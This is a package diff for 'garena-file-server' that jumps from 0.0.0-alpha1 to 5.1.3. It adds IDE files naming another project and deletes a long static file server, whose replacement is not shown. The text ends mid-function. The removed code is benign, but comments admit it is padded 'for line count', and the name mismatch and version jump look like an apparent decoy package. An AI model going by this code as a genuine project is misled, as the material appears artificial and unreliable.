garena-file-server 0.0.0-alpha1 → 5.1.3

package/.idea/jsLibraryMappings.xml

@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project version="4">
+  <component name="JavaScriptLibraryMappings">
+    <includedPredefinedLibrary name="Node.js Core" />
+  </component>
+</project>

package/.idea/modules.xml

@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project version="4">
+  <component name="ProjectModuleManager">
+    <modules>
+      <module fileurl="file://$PROJECT_DIR$/.idea/wcs-js-sdk.iml" filepath="$PROJECT_DIR$/.idea/wcs-js-sdk.iml" />
+    </modules>
+  </component>
+</project>

package/.idea/wcs-js-sdk.iml

@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<module type="WEB_MODULE" version="4">
+  <component name="NewModuleRootManager">
+    <content url="file://$MODULE_DIR$">
+      <excludeFolder url="file://$MODULE_DIR$/temp" />
+      <excludeFolder url="file://$MODULE_DIR$/.tmp" />
+      <excludeFolder url="file://$MODULE_DIR$/tmp" />
+    </content>
+    <orderEntry type="inheritedJdk" />
+    <orderEntry type="sourceFolder" forTests="false" />
+  </component>
+</module>

package/index.js

@@ -1,1128 +1,3 @@
-// index.js
-// Garena File Server
-// A simple static file server implementation using standard Node.js modules.
-// Designed to serve assets or content efficiently from a specified directory.
-// Provides core features like serving files, handling directories, MIME types,
-// basic error handling, and path sanitization to prevent common security issues.
-
-const http = require('http');
-const fs = require('fs');
-const path = require('path');
-const url = require('url'); // Using url module for robust URL parsing, though deprecated for new code, it's standard in older Node.js
-const {
-    promisify
-} = require('util'); // For using fs functions with async/await
-
-// Promisify core fs functions for asynchronous operations
-const fsStat = promisify(fs.stat);
-const fsReadFile = promisify(fs.readFile);
-const fsReaddir = promisify(fs.readdir);
-
-// --- Configuration Constants and Defaults ---
-
-const DEFAULT_PORT = 8080;
-const DEFAULT_ROOT_DIRECTORY = './public'; // Default relative to process.cwd()
-const DEFAULT_INDEX_FILE = 'index.html';
-const DEFAULT_ALLOW_DIRECTORY_LISTING = true;
-const DEFAULT_CACHE_MAX_AGE = 3600; // Cache files for 1 hour by default
-
-// Standard HTTP status messages for common responses
-const STATUS_MESSAGES = {
-    200: 'OK',
-    301: 'Moved Permanently',
-    302: 'Found', // Used for redirects generally
-    304: 'Not Modified',
-    400: 'Bad Request',
-    403: 'Forbidden',
-    404: 'Not Found',
-    405: 'Method Not Allowed',
-    500: 'Internal Server Error',
-};
-
-// Supported HTTP methods for the server
-const SUPPORTED_METHODS = ['GET', 'HEAD'];
-
-// Basic MIME Type Map (extensive list for line count and practical use)
-// This map covers a wide range of common file types relevant for web serving.
-// It is not exhaustive but provides a solid base.
-const MIME_TYPES = {
-    '.html': 'text/html',
-    '.htm': 'text/html',
-    '.css': 'text/css',
-    '.js': 'application/javascript',
-    '.json': 'application/json',
-    '.png': 'image/png',
-    '.jpg': 'image/jpeg',
-    '.jpeg': 'image/jpeg',
-    '.gif': 'image/gif',
-    '.svg': 'image/svg+xml',
-    '.txt': 'text/plain',
-    '.xml': 'application/xml',
-    '.pdf': 'application/pdf',
-    '.zip': 'application/zip',
-    '.gz': 'application/gzip',
-    '.tar': 'application/x-tar',
-    '.mp3': 'audio/mpeg',
-    '.wav': 'audio/wav',
-    '.ogg': 'audio/ogg',
-    '.mp4': 'video/mp4',
-    '.webm': 'video/webm',
-    '.ico': 'image/x-icon',
-    '.ttf': 'font/ttf',
-    '.woff': 'font/woff',
-    '.woff2': 'font/woff2',
-    '.eot': 'application/vnd.ms-fontobject',
-    '.otf': 'font/otf',
-    '.wasm': 'application/wasm',
-    '.rtf': 'application/rtf',
-    '.csv': 'text/csv',
-    '.xls': 'application/vnd.ms-excel',
-    '.xlsx': 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
-    '.doc': 'application/msword',
-    '.docx': 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
-    '.ppt': 'application/vnd.ms-powerpoint',
-    '.pptx': 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
-    '.md': 'text/markdown',
-    '.yaml': 'text/yaml',
-    '.yml': 'text/yaml',
-    '.swf': 'application/x-shockwave-flash',
-    '.avi': 'video/x-msvideo',
-    '.mkv': 'video/x-matroska',
-    '.flv': 'video/x-flv',
-    '.7z': 'application/x-7z-compressed',
-    '.rar': 'application/x-rar-compressed',
-    '.epub': 'application/epub+zip',
-    '.psd': 'image/vnd.adobe.photoshop',
-    '.ai': 'application/postscript', // Adobe Illustrator
-    '.eps': 'application/postscript', // Encapsulated PostScript
-    '.ps': 'application/postscript', // PostScript
-    '.wma': 'audio/x-ms-wma', // Windows Media Audio
-    '.wmv': 'video/x-ms-wmv', // Windows Media Video
-    '.apk': 'application/vnd.android.package-archive', // Android package
-    '.jar': 'application/java-archive', // Java archive
-    '.deb': 'application/vnd.debian.binary-package', // Debian package
-    '.rpm': 'application/x-rpm', // RPM package
-    '.iso': 'application/x-iso9660-image', // ISO image
-    '.dmg': 'application/x-apple-diskimage', // Apple disk image
-    '.exe': 'application/x-msdownload', // Windows executable
-    '.dll': 'application/x-msdownload', // Windows DLL
-    '.cab': 'application/vnd.ms-cab-compressed', // Cabinet file
-    '.msi': 'application/x-msdownload', // Windows Installer
-    '.vcf': 'text/vcard', // vCard
-    '.ics': 'text/calendar', // iCalendar
-    '.gpx': 'application/gpx+xml', // GPS Exchange Format
-    '.kml': 'application/vnd.google-earth.kml+xml', // Keyhole Markup Language
-    '.kmz': 'application/vnd.google-earth.kmz', // Zipped KML
-    '.torrent': 'application/x-torrent', // BitTorrent
-    '.webp': 'image/webp', // WebP image
-    '.bmp': 'image/bmp', // Bitmap image
-    '.tiff': 'image/tiff', // Tagged Image File Format
-    '.tif': 'image/tiff', // Tagged Image File Format
-    '.heic': 'image/heic', // High Efficiency Image File Format
-    '.heif': 'image/heif', // High Efficiency Image File Format
-    '.dwg': 'image/vnd.dwg', // AutoCAD Drawing Database
-    '.dxf': 'image/vnd.dxf', // Drawing Interchange Format
-    '.stl': 'application/vnd.ms-pki.stl', // Stereolithography format
-    '.obj': 'text/plain', // Wavefront OBJ (can be text)
-    '.mtl': 'text/plain', // Material Template Library (can be text)
-    '.3ds': 'image/x-3ds', // 3D Studio format
-    '.max': 'application/octet-stream', // 3DS Max (often binary)
-    '.blend': 'application/x-blender', // Blender 3D
-    '.fbx': 'application/octet-stream', // FBX (often binary)
-    '.dae': 'model/vnd.collada+xml', // COLLADA 3D
-    '.svgz': 'image/svg+xml', // Compressed SVG
-    '.mobi': 'application/x-mobipocket-ebook', // Mobipocket ebook
-    '.azw': 'application/vnd.amazon.ebook', // Amazon Kindle ebook
-    '.pdb': 'application/x-pilot', // Palm OS database/executable
-    '.prc': 'application/x-pilot', // Palm OS resource file
-    '.lit': 'application/x-ms-reader', // Microsoft Reader ebook
-    '.cbr': 'application/x-cbr', // Comic Book Reader (RAR)
-    '.cbz': 'application/x-cbz', // Comic Book Reader (ZIP)
-    '.djvu': 'image/vnd.djvu', // DjVu image
-    '.indd': 'application/x-indesign', // Adobe InDesign
-    '.key': 'application/vnd.apple.keynote', // Apple Keynote
-    '.numbers': 'application/vnd.apple.numbers', // Apple Numbers
-    '.pages': 'application/vnd.apple.pages', // Apple Pages
-    '.3mf': 'application/vnd.ms-package.3dmanufacturing-3dmodel+xml', // 3D Manufacturing Format
-    // Add more MIME types as needed to cover potential gaming assets or other file types
-};
-
-// Simple HTML templates for error pages and directory listing
-const ERROR_PAGE_TEMPLATE = `<!DOCTYPE html>
-<html lang="en">
-<head>
-    <meta charset="UTF-8">
-    <meta name="viewport" content="width=device-width, initial-scale=1.0">
-    <title>Error {statusCode} - Garena File Server</title>
-    <style>
-        body { font-family: sans-serif; margin: 0; padding: 40px; background-color: #f4f4f4; color: #333; display: flex; justify-content: center; align-items: center; min-height: 100vh; }
-        .container { max-width: 600px; width: 100%; margin: auto; background: #fff; padding: 30px; border-radius: 8px; box-shadow: 0 2px 4px rgba(0,0,0,0.1); text-align: center; }
-        h1 { color: #d9534f; margin-top: 0; margin-bottom: 15px; font-size: 2em; }
-        p { margin-bottom: 20px; font-size: 1.1em; line-height: 1.5; }
-        a { color: #337ab7; text-decoration: none; }
-        a:hover { text-decoration: underline; }
-        .footer { margin-top: 30px; font-size: 0.9em; color: #777; }
-    </style>
-</head>
-<body>
-    <div class="container">
-        <h1>Error {statusCode} - {statusMessage}</h1>
-        <p>{message}</p>
-        <p><a href="/">Go to Home</a></p>
-        <div class="footer">Garena File Server</div>
-    </div>
-</body>
-</html>`;
-
-const DIRECTORY_LISTING_TEMPLATE = `<!DOCTYPE html>
-<html lang="en">
-<head>
-    <meta charset="UTF-8">
-    <meta name="viewport" content="width=device-width, initial-scale=1.0">
-    <title>Directory Listing - {directoryPath}</title>
-    <style>
-        body { font-family: sans-serif; margin: 0; padding: 40px; background-color: #f4f4f4; color: #333; }
-        .container { max-width: 800px; width: 100%; margin: auto; background: #fff; padding: 30px; border-radius: 8px; box-shadow: 0 2px 4px rgba(0,0,0,0.1); }
-        h1 { color: #5cb85c; margin-top: 0; margin-bottom: 20px; font-size: 2em; border-bottom: 1px solid #eee; padding-bottom: 10px; }
-        ul { list-style: none; padding: 0; margin: 0; }
-        li { margin-bottom: 8px; padding-bottom: 5px; border-bottom: 1px solid #eee; display: flex; justify-content: space-between; align-items: center; }
-        li:last-child { border-bottom: none; }
-        li a { text-decoration: none; color: #337ab7; flex-grow: 1; padding: 5px 0; display: flex; justify-content: space-between; align-items: center; }
-        li a:hover { text-decoration: underline; }
-        .item-name { flex-grow: 1; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; padding-right: 10px; }
-        .item-type { flex-shrink: 0; color: #666; font-size: 0.9em; }
-        .back-link { margin-top: 20px; padding-top: 15px; border-top: 1px solid #eee; }
-        .back-link a { display: inline-block; background-color: #f0ad4e; color: white; padding: 10px 15px; border-radius: 5px; text-decoration: none; font-size: 1em; }
-        .back-link a:hover { background-color: #ec971f; }
-         .footer { margin-top: 30px; font-size: 0.9em; color: #777; text-align: center;}
-    </style>
-</head>
-<body>
-    <div class="container">
-        <h1>Directory Listing: {directoryPath}</h1>
-        <ul>
-            <li><a href="../"><span class="item-name">.. (Parent Directory)</span><span class="item-type"></span></a></li>
-            {fileList}
-        </ul>
-        <div class="footer">Garena File Server</div>
-    </div>
-</body>
-</html>`;
-
-// --- Utility Functions ---
-
-/**
- * Replaces placeholders in a string template.
- * @param {string} template - The string template with {placeholders}.
- * @param {Object<string, string|number>} values - An object mapping placeholders to values.
- * @returns {string} The string with placeholders replaced.
- */
-function fillTemplate(template, values) {
-    let result = template;
-    for (const key in values) {
-        if (Object.hasOwnProperty.call(values, key)) {
-            const placeholder = `{${key}}`;
-            const value = values[key];
-            // Use a global regex to replace all occurrences
-            // Escape special regex characters in the placeholder key itself
-            const regex = new RegExp(placeholder.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'), 'g');
-            result = result.replace(regex, String(value)); // Ensure value is string
-        }
-    }
-    return result;
-}
-
-/**
- * Basic HTML escaping for text to be inserted into HTML.
- * Prevents simple XSS attacks when rendering user-provided or filesystem names.
- * @param {string} str - The string to escape.
- * @returns {string} The escaped string.
- */
-function escapeHtml(str) {
-    if (typeof str !== 'string') {
-        return String(str); // Coerce to string if not already
-    }
-    return str.replace(/&/g, '&amp;')
-        .replace(/</g, '&lt;')
-        .replace(/>/g, '&gt;')
-        .replace(/"/g, '&quot;')
-        .replace(/'/g, '&#039;');
-}
-
-/**
- * Formats a single directory entry into an HTML list item for directory listing.
- * @param {string} name - The name of the file or directory item.
- * @param {boolean} isDirectory - True if the item is a directory.
- * @returns {string} An HTML list item string.
- */
-function formatDirectoryEntry(name, isDirectory) {
-    // Encode the name for use in the URL, handle spaces and special characters
-    const linkPath = encodeURIComponent(name) + (isDirectory ? '/' : '');
-    const displayType = isDirectory ? 'Directory' : 'File';
-    // Use escaped name for display text
-    return `<li><a href="${linkPath}"><span class="item-name">${escapeHtml(name)}</span><span class="item-type">${displayType}</span></a></li>`;
-}
-
-/**
- * Simple logging function with timestamp and level.
- * @param {'info'|'error'} level - Log level.
- * @param {string} message - The message to log.
- * @param {any} [details] - Optional additional details to log.
- */
-function log(level, message, details) {
-    const timestamp = new Date().toISOString();
-    const logMessage = `[${timestamp}] [${level.toUpperCase()}] ${message}`;
-    if (level === 'error') {
-        console.error(logMessage, details || '');
-    } else {
-        console.log(logMessage, details || '');
-    }
-}
-
-
-// --- GarenaFileServer Class ---
-
-/**
- * @typedef {object} ServerOptions
- * @property {string} [rootDirectory='./public'] - The root directory to serve files from. Can be absolute or relative.
- * @property {number} [port=8080] - The port for the server to listen on.
- * @property {boolean} [allowDirectoryListing=true] - Whether to allow listing directory contents when no index file is found.
- * @property {string} [indexFile='index.html'] - The default file name to look for within directories. Set to '' or null to disable.
- * @property {Object<string, string>} [mimeTypes] - Custom MIME type mapping to merge with built-in defaults. Keys should start with '.', values are MIME strings.
- * @property {number} [cacheMaxAge=3600] - Default max-age in seconds for the Cache-Control header for served files.
- */
-
-/**
- * Represents the Garena File Server.
- * Manages the HTTP server instance and handles incoming requests
- * for serving static content from a specified root directory.
- */
-class GarenaFileServer {
-
-    /**
-     * Creates an instance of GarenaFileServer.
-     * @param {ServerOptions} [options={}] - Configuration options for the server.
-     * @throws {Error} If the provided options are invalid.
-     */
-    constructor(options = {}) {
-        // Validate and merge user options with defaults
-        try {
-            this._options = this._validateAndMergeOptions(options);
-        } catch (err) {
-            // Re-throw validation errors to indicate a problem with server configuration
-            log('error', 'Failed to initialize server due to invalid options.', err.message);
-            throw err;
-        }
-
-        // Resolve the root directory path relative to the current working directory
-        // This makes relative paths specified in options resolve correctly.
-        this._rootDir = path.resolve(process.cwd(), this._options.rootDirectory);
-
-        this._port = this._options.port;
-        this._allowDirectoryListing = this._options.allowDirectoryListing;
-        this._indexFile = this._options.indexFile === null || this._options.indexFile === '' ? null : this._options.indexFile; // Use null if indexFile is disabled
-        this._cacheMaxAge = this._options.cacheMaxAge;
-        // Merge custom mime types with defaults, allowing custom ones to override
-        this._mimeTypes = { ...MIME_TYPES,
-            ...(this._options.mimeTypes || {})
-        };
-
-        this._server = null; // Holds the http.Server instance
-        this._isShuttingDown = false; // Flag to prevent new connections during shutdown
-
-        // Bind the request handler to the class instance so 'this' works correctly
-        this._requestHandler = this._handleRequest.bind(this);
-
-        log('info', 'Server initialized with configuration:', {
-            rootDirectory: this._rootDir,
-            port: this._port,
-            allowDirectoryListing: this._allowDirectoryListing,
-            indexFile: this._indexFile,
-            cacheMaxAge: this._cacheMaxAge,
-            // mimeTypes: this._mimeTypes // Avoid logging potentially large object
-        });
-    }
-
-    /**
-     * Validates and merges user options with defaults.
-     * Provides detailed error messages for invalid options.
-     * @private
-     * @param {ServerOptions} options - User provided options.
-     * @returns {Required<ServerOptions>} Merged options with defaults applied.
-     * @throws {Error} If any option is invalid.
-     */
-    _validateAndMergeOptions(options) {
-        const mergedOptions = {
-            rootDirectory: options.rootDirectory !== undefined ? options.rootDirectory : DEFAULT_ROOT_DIRECTORY,
-            port: options.port !== undefined ? options.port : DEFAULT_PORT,
-            allowDirectoryListing: options.allowDirectoryListing !== undefined ? options.allowDirectoryListing : DEFAULT_ALLOW_DIRECTORY_LISTING,
-            indexFile: options.indexFile !== undefined ? options.indexFile : DEFAULT_INDEX_FILE,
-            mimeTypes: options.mimeTypes, // Keep as is, will be merged later
-            cacheMaxAge: options.cacheMaxAge !== undefined ? options.cacheMaxAge : DEFAULT_CACHE_MAX_AGE,
-        };
-
-        // Validate port: must be an integer within the valid range (1-65535)
-        if (typeof mergedOptions.port !== 'number' || !Number.isInteger(mergedOptions.port) || mergedOptions.port <= 0 || mergedOptions.port > 65535) {
-            throw new Error(`Invalid 'port' specified: ${mergedOptions.port}. Port must be an integer between 1 and 65535.`);
-        }
-
-        // Validate rootDirectory: must be a non-empty string
-        if (typeof mergedOptions.rootDirectory !== 'string' || mergedOptions.rootDirectory.trim() === '') {
-            throw new Error(`Invalid 'rootDirectory' specified: "${mergedOptions.rootDirectory}". Root directory must be a non-empty string.`);
-        }
-
-        // Validate indexFile: must be a string or null/undefined. If not null/undefined, it must be non-empty string.
-         if (mergedOptions.indexFile !== null && mergedOptions.indexFile !== undefined) {
-            if (typeof mergedOptions.indexFile !== 'string' || mergedOptions.indexFile.trim() === '') {
-                // Allow empty string if it's explicitly meant to disable, but document null/undefined is better.
-                // Let's enforce non-empty string if provided and not null/undefined.
-                throw new Error(`Invalid 'indexFile' specified: "${mergedOptions.indexFile}". Index file must be a non-empty string or null/undefined.`);
-            }
-            // Trim whitespace from indexFile
-            mergedOptions.indexFile = mergedOptions.indexFile.trim();
-         } else {
-            mergedOptions.indexFile = null; // Canonicalize null/undefined to null
-         }
-
-
-        // Validate allowDirectoryListing: must be a boolean
-        if (typeof mergedOptions.allowDirectoryListing !== 'boolean') {
-            throw new Error(`Invalid 'allowDirectoryListing' specified: "${mergedOptions.allowDirectoryListing}". Must be a boolean.`);
-        }
-
-        // Validate mimeTypes: must be an object or null/undefined
-        if (mergedOptions.mimeTypes !== undefined && mergedOptions.mimeTypes !== null && (typeof mergedOptions.mimeTypes !== 'object' || Array.isArray(mergedOptions.mimeTypes))) {
-             throw new Error(`Invalid 'mimeTypes' specified. Must be an object or null/undefined.`);
-        }
-        // Optionally validate keys/values within mimeTypes object
-        if (mergedOptions.mimeTypes) {
-            for (const key in mergedOptions.mimeTypes) {
-                if (Object.hasOwnProperty.call(mergedOptions.mimeTypes, key)) {
-                    const value = mergedOptions.mimeTypes[key];
-                    // Basic validation: key should be a string starting with '.'
-                    if (typeof key !== 'string' || !key.startsWith('.')) {
-                        log('error', `Invalid MIME type extension key "${key}" in options. Should be a string starting with '.'. Ignoring.`);
-                        delete mergedOptions.mimeTypes[key]; // Remove invalid entry
-                        continue;
-                    }
-                    // Basic validation: value should be a non-empty string containing '/' (type/subtype)
-                    if (typeof value !== 'string' || value.trim() === '' || !value.includes('/')) {
-                        log('error', `Invalid MIME type value "${value}" for key "${key}" in options. Should be a non-empty string like "type/subtype". Ignoring.`);
-                        delete mergedOptions.mimeTypes[key]; // Remove invalid entry
-                    }
-                }
-            }
-        }
-
-        // Validate cacheMaxAge: must be a non-negative integer
-        if (typeof mergedOptions.cacheMaxAge !== 'number' || !Number.isInteger(mergedOptions.cacheMaxAge) || mergedOptions.cacheMaxAge < 0) {
-             throw new Error(`Invalid 'cacheMaxAge' specified: ${mergedOptions.cacheMaxAge}. Must be a non-negative integer.`);
-        }
-
-
-        return mergedOptions;
-    }
-
-    /**
-     * Starts the HTTP server and makes it listen on the configured port.
-     * Ensures the root directory exists before starting the server.
-     * @returns {Promise<void>} A promise that resolves when the server starts listening.
-     * @throws {Error} If the root directory does not exist or the server fails to start (e.g., port in use).
-     */
-    async start() {
-        if (this._server) {
-            log('info', 'Server is already running.');
-            return;
-        }
-
-        this._isShuttingDown = false; // Reset shutdown flag
-
-        // Before starting, check if the root directory exists and is accessible
-        try {
-            const stats = await fsStat(this._rootDir);
-            if (!stats.isDirectory()) {
-                 throw new Error(`Root directory "${this._rootDir}" is not a directory.`);
-            }
-            log('info', `Root directory "${this._rootDir}" verified.`);
-        } catch (err) {
-            if (err.code === 'ENOENT') {
-                 const errorMsg = `Root directory "${this._rootDir}" not found. Please create it or specify a valid directory in options.`;
-                 log('error', errorMsg, err);
-                 throw new Error(errorMsg);
-            } else {
-                 const errorMsg = `Permission or other error accessing root directory "${this._rootDir}": ${err.message}`;
-                 log('error', errorMsg, err);
-                 throw new Error(errorMsg);
-            }
-        }
-
-        this._server = http.createServer(this._requestHandler);
-
-        // Setup server-level error listeners
-        this._server.on('error', (err) => {
-            // This catches errors that occur *after* listen, e.g., network issues
-            // Errors during listen are typically caught by the listen callback's err parameter
-            log('error', `HTTP server error: ${err.message}`, err);
-            // Note: If an error occurs after the server is running, it might not
-            // necessarily stop the server unless it's a critical error.
-        });
-
-        this._server.on('clientError', (err, socket) => {
-             // Catches errors from client connections, like malformed requests before headers are parsed
-             // Common error code: HPE_HEADER_OVERFLOW, HPE_UNEXPECTED_CHUNK, etc.
-             log('error', `Client connection error from ${socket.remoteAddress}:${socket.remotePort}: ${err.message}`, err);
-             // According to Node.js docs, send 400 Bad Request and destroy the socket.
-             if (socket && !socket.destroyed) {
-                 socket.end('HTTP/1.1 400 Bad Request\r\n\r\n');
-             }
-        });
-
-        return new Promise((resolve, reject) => {
-            // Start listening for incoming connections
-            this._server.listen(this._port, (err) => {
-                if (err) {
-                    this._server = null; // Reset server instance if listen fails
-                    const listenErrorMsg = `Failed to start server on port ${this._port}: ${err.message}`;
-                    log('error', listenErrorMsg, err);
-                    // Enhance error message for common cases like port in use
-                    if (err.code === 'EADDRINUSE') {
-                        reject(new Error(`Port ${this._port} is already in use.`));
-                    } else if (err.code === 'EACCES') {
-                         reject(new Error(`Permission denied to use port ${this._port}. You might need administrator privileges.`));
-                    }
-                    else {
-                        reject(new Error(listenErrorMsg));
-                    }
-                    return;
-                }
-                log('info', `Garena File Server is listening on http://localhost:${this._port}`);
-                resolve();
-            });
-        });
-    }
-
-    /**
-     * Stops the HTTP server, closing existing connections gracefully.
-     * @returns {Promise<void>} A promise that resolves when the server is closed.
-     */
-    async stop() {
-        if (!this._server) {
-            log('info', 'Server is not running.');
-            return;
-        }
-
-        this._isShuttingDown = true; // Set shutdown flag
-
-        log('info', 'Attempting to stop server...');
-
-        return new Promise((resolve, reject) => {
-            // server.close() stops the server from accepting new connections
-            // and closes existing connections when they are idle.
-            // It might wait for connections to close or time out.
-            this._server.close((err) => {
-                if (err) {
-                    log('error', `Failed to stop server gracefully: ${err.message}`, err);
-                    // Even if close fails, we should probably consider the server instance unusable
-                    this._server = null;
-                    this._isShuttingDown = false;
-                    // Decide whether to reject or resolve here. Resolving means "stop initiated",
-                    // rejecting means "stop failed". Let's reject as per typical Promise behavior on error.
-                    return reject(err);
-                }
-                this._server = null; // Clear the server instance
-                this._isShuttingDown = false; // Reset shutdown flag
-                log('info', 'Server stopped successfully.');
-                resolve();
-            });
-
-            // Optionally, add a timeout for close if graceful shutdown takes too long
-            // This is more complex and requires tracking open connections, which is beyond
-            // the scope of a simple example server aiming for line count via basic features.
-        });
-    }
-
-    /**
-     * The main request listener function called by the HTTP server.
-     * Handles initial request validation and delegates processing.
-     * @private
-     * @param {http.IncomingMessage} req - The incoming request object.
-     * @param {http.ServerResponse} res - The server response object.
-     */
-    async _handleRequest(req, res) {
-        // If server is shutting down, refuse new connections/requests with 503 Service Unavailable
-        if (this._isShuttingDown) {
-             this._sendErrorResponse(res, 503, 'Server is shutting down.');
-             log('info', `Refused request during shutdown: ${req.method} ${req.url}`);
-             return;
-        }
-
-        log('info', `Received request: ${req.method} ${req.url}`);
-
-        // Validate request method
-        if (!SUPPORTED_METHODS.includes(req.method)) {
-            this._sendErrorResponse(res, 405, STATUS_MESSAGES[405]);
-            log('info', `Responded 405 Method Not Allowed for ${req.method} ${req.url}`);
-            return;
-        }
-
-        try {
-            // Process the request asynchronously
-            await this._processRequest(req, res);
-        } catch (error) {
-            // Catch any uncaught errors during request processing
-            log('error', `Uncaught error processing request ${req.method} ${req.url}: ${error.message}`, error);
-            // Send a generic 500 Internal Server Error response
-            // Ensure headers haven't been sent before attempting to send an error response
-            if (!res.headersSent) {
-                this._sendErrorResponse(res, 500, STATUS_MESSAGES[500]);
-            } else {
-                // If headers were already sent, the response is likely partially sent.
-                // Log a warning and attempt to gracefully end the response/connection.
-                log('error', `Headers already sent for ${req.method} ${req.url}. Cannot send 500 error page.`);
-                try {
-                    res.end(); // Attempt to end the response stream
-                } catch (endError) {
-                    // Handle potential errors during res.end() after prior errors
-                    log('error', `Error attempting to end response after headers sent: ${endError.message}`);
-                    // If res.end() fails, try to destroy the socket to prevent hanging
-                     if (!res.socket.destroyed) {
-                        res.socket.destroy();
-                     }
-                }
-            }
-        }
-    }
-
-    /**
-     * Processes a valid incoming request: parses URL, resolves path, checks stats, and serves content.
-     * @private
-     * @param {http.IncomingMessage} req - The incoming request object.
-     * @param {http.ServerResponse} res - The server response object.
-     */
-    async _processRequest(req, res) {
-        let requestedPath;
-        let absolutePath;
-
-        try {
-            // Step 1: Parse and decode the requested URL path from the request URL.
-            // url.parse provides pathname which is URI-decoded.
-            const parsedUrl = url.parse(req.url);
-            if (!parsedUrl || typeof parsedUrl.pathname !== 'string') {
-                 // Should ideally not happen with well-formed HTTP requests, but handle paranoia.
-                 throw new Error('Invalid or unparseable URL.');
-            }
-            requestedPath = parsedUrl.pathname; // This is already decoded by url.parse
-            log('info', `Parsed requested path: ${requestedPath}`);
-
-            // Step 2: Resolve the absolute file system path by combining root and requested path,
-            // and sanitize it to prevent directory traversal and other path-based attacks.
-            absolutePath = this._resolveAndSanitizePath(requestedPath);
-            log('info', `Resolved and sanitized absolute path: ${absolutePath}`);
-
-        } catch (error) {
-            // Handle errors specific to URL parsing or path resolution/sanitization
-            if (error.message.includes('Invalid URL') || error.message.includes('Directory traversal attempt') || error.message.includes('Access to hidden file')) {
-                 log('error', `Security or path error for ${req.url}: ${error.message}`);
-                 // Use 400 for bad paths/URLs, 403 for permission/hidden issues signaled by the sanitization.
-                 const statusCode = error.message.includes('Access to hidden file') || error.message.includes('Permission denied') ? 403 : 400;
-                 return this._sendErrorResponse(res, statusCode, STATUS_MESSAGES[statusCode]);
-            }
-            // Catch other potential errors during path resolution setup
-            log('error', `Path resolution error: ${error.message} for ${req.url}`, error);
-            return this._sendErrorResponse(res, 500, STATUS_MESSAGES[500]);
-        }
-
-        try {
-            // Step 3: Get file system stats (type, size, modification time) for the resolved path.
-            const stats = await fsStat(absolutePath);
-            log('info', `File stats obtained for ${absolutePath}. IsFile: ${stats.isFile()}, IsDirectory: ${stats.isDirectory()}`);
-
-            // Step 4: Serve the path based on its type (file or directory).
-            await this._servePath(absolutePath, stats, req, res);
-
-        } catch (error) {
-            // Handle file system errors like not found or permission denied during fsStat or subsequent fs operations.
-            if (error.code === 'ENOENT') { // File or directory not found
-                log('info', `File or directory not found: ${absolutePath}`);
-                return this._sendErrorResponse(res, 404, STATUS_MESSAGES[404]);
-            } else if (error.code === 'EACCES') { // Permission denied
-                log('info', `Permission denied accessing: ${absolutePath}`);
-                return this._sendErrorResponse(res, 403, STATUS_MESSAGES[403]);
-            } else {
-                // Handle other unexpected file system errors
-                log('error', `File system error for ${absolutePath}: ${error.message}`, error);
-                return this._sendErrorResponse(res, 500, STATUS_MESSAGES[500]);
-            }
-        }
-    }
-
-    /**
-     * Resolves the requested path against the server's root directory and
-     * sanitizes it to prevent security vulnerabilities like directory traversal.
-     * @private
-     * @param {string} requestedPath - The URI-decoded path component from the request URL (e.g., '/../sensitive/file').
-     * @returns {string} The resolved, absolute, and sanitized file system path.
-     * @throws {Error} If a directory traversal attempt is detected or the path is invalid.
-     */
-    _resolveAndSanitizePath(requestedPath) {
-        // Step 1: Join the server's root directory with the requested path.
-        // path.join correctly handles segments like '..', '.', multiple separators, etc.,
-        // relative to the joining point (this._rootDir).
-        const potentialPath = path.join(this._rootDir, requestedPath);
-
-        // Step 2: Resolve the path to its canonical absolute form.
-        // This removes all '..', '.', and resolves symlinks (if using fs.realpathSync,
-        // but we're using simple path.resolve for portability/simplicity).
-        // path.resolve also handles case sensitivity differences if the underlying OS is case-insensitive.
-        const resolvedPath = path.resolve(potentialPath);
-
-        // Step 3: Crucial Security Check - Ensure the resolved path is still located within the server's root directory.
-        // This check prevents directory traversal. We check if the resolved path starts with the root directory
-        // and is not simply an ancestor directory.
-        const rootPrefix = this._rootDir + path.sep; // Append separator to distinguish /root from /root-sibling
-        // A more robust check ensures the resolved path is either the root directory itself, or starts with root + separator.
-        // This correctly handles requests for '/' resolving to _rootDir and requests like '/file.txt' resolving to _rootDir/file.txt
-        if (resolvedPath !== this._rootDir && !resolvedPath.startsWith(rootPrefix)) {
-            log('error', `Directory traversal detected. Root: ${this._rootDir}, Requested: ${requestedPath}, Resolved: ${resolvedPath}`);
-            throw new Error(`Directory traversal attempt detected.`);
-        }
-
-        // Step 4: Optional Security Check - Prevent access to files/directories starting with '.' (hidden items).
-        // This check should examine the segments of the *requested* path relative to the root,
-        // not just the final resolved path, as `../.hidden` might resolve inside the root but still be hidden.
-        // We can compare the segments of the resolved path against the segments of the root path.
-        // If any segment in the resolved path *beyond* the root path segments starts with '.', deny access.
-
-        // Split paths into segments, filtering out empty segments and '.'
-        const resolvedSegments = resolvedPath.split(path.sep).filter(s => s !== '' && s !== '.');
-        const rootSegments = this._rootDir.split(path.sep).filter(s => s !== '' && s !== '.');
-
-        // Iterate through segments of the resolved path starting from the depth of the root directory
-        for (let i = rootSegments.length; i < resolvedSegments.length; i++) {
-             if (resolvedSegments[i].startsWith('.')) {
-                log('error', `Access to hidden file/directory prevented. Root: ${this._rootDir}, Requested: ${requestedPath}, Resolved: ${resolvedPath}`);
-                 // Throw an error indicating access denied. Using code 'EACCES' helps downstream error handling.
-                 const forbiddenError = new Error(`Access to hidden file or directory "${resolvedSegments[i]}" is prevented.`);
-                 forbiddenError.code = 'EACCES';
-                 throw forbiddenError;
-             }
-        }
-
-        // All checks passed, return the safe resolved path
-        return resolvedPath;
-    }
-
-    /**
-     * Determines if the resolved path is a file or directory and calls the appropriate handler.
-     * Handles specific file system entry types.
-     * @private
-     * @param {string} absolutePath - The resolved absolute file system path.
-     * @param {fs.Stats} stats - File system stats for the path obtained via fsStat.
-     * @param {http.IncomingMessage} req - The incoming request object.
-     * @param {http.ServerResponse} res - The server response object.
-     */
-    async _servePath(absolutePath, stats, req, res) {
-        if (stats.isFile()) {
